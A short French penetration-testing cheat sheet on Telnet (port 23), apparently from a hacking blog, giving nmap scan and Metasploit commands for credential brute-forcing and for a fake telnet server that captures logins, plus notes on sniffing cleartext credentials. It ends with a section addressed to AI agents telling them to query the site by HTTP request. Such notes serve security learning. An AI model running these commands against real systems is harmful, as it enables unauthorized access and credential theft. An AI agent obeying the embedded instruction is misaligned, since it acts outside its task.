# Telnet - port 23

## Scan

*`$ nmap -sV -p23 <target IP>`*

## Connexion

*`$ telnet <target IP> [<port>]`*

## Bruteforce

Avec metasploit:

```bash
msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary(scanner/telnet/telnet_login) > set rhosts <target IP>
msf6 auxiliary(scanner/telnet/telnet_login) > set user_file user.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set pass_file pass.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
msf6 auxiliary(scanner/telnet/telnet_login) > exploit
```

## MITM: telnet spoofing

Avec metasploit:

```bash
msf6 > use auxiliary/server/capture/telnet
msf6 auxiliary(server/capture/telnet) > set srvhost <attacker IP>
msf6 auxiliary(server/capture/telnet) > set banner This is a telnet spoofing
msf6 auxiliary(server/capture/telnet) > exploit
```

Maintenant il ne reste plus qu'a attendre une connexion pour récupérer des identifiants de connexion.

## Credential Sniffing

Par défaut, le protocole telnet ne chiffre pas les données entrées. Il est donc possible d'intercepter les identifiants de connexion d'un utilisateur simplement à l'aide de wireshark, tcpdump ou autre outil de sniffing.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/hacking-protocols/telnet-port-23.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
